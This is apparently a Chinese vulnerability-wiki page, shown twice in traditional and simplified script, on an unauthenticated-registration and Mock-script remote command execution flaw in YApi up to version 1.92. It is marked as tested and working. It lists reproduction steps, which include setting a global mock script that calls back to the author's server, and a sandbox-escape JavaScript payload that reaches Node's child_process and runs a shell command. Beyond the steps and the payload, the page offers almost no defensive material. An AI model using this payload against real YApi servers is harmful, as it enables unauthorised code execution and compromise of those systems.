# YApi 未授權用戶創建&Mock遠程命令執行漏洞/zh-cn
{| style=”border: 2.0px solid grey; background: #b3ff9c;” width=”85%”
| align=”center” width=”60px”| 
| align=”center” |”’该漏洞已通过验证”’
——
本页面的EXP/POC/Payload经测试可用,漏洞已经成功复现。
|}
==影响版本==
<=V1.92 All ==漏洞复现== 登录注册后,创建一个项目 
然後選擇設置全局的mock腳本,設置命令為遠程訪問我的服務器地址。

添加接口,訪問接口的mock地址

服務器可以看到如下響應

==POC==
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockjson = process.mainModule.require("child_process").execSync("command").toString()
==參考==
https://github.com/YMFE/yapi/issues/2233
{| style=”border: 2.0px solid grey; background: #b3ff9c;” width=”85%”
| align=”center” width=”60px”| 
| align=”center” |”’该漏洞已通过验证”’
——
本页面的EXP/POC/Payload经测试可用,漏洞已经成功复现。
|}
==影响版本==
<=V1.92 All ==漏洞复现== 登录注册后,创建一个项目  然后选择设置全局的mock脚本,设置命令为远程访问我的服务器地址。  添加接口,访问接口的mock地址  服务器可以看到如下响应  ==POC==
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor(‘return process’) const process = myfun() mockjson = process.mainModule.require(“child_process”).execSync(“command”).toString()
==参考==
https://github.com/YMFE/yapi/issues/2233
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容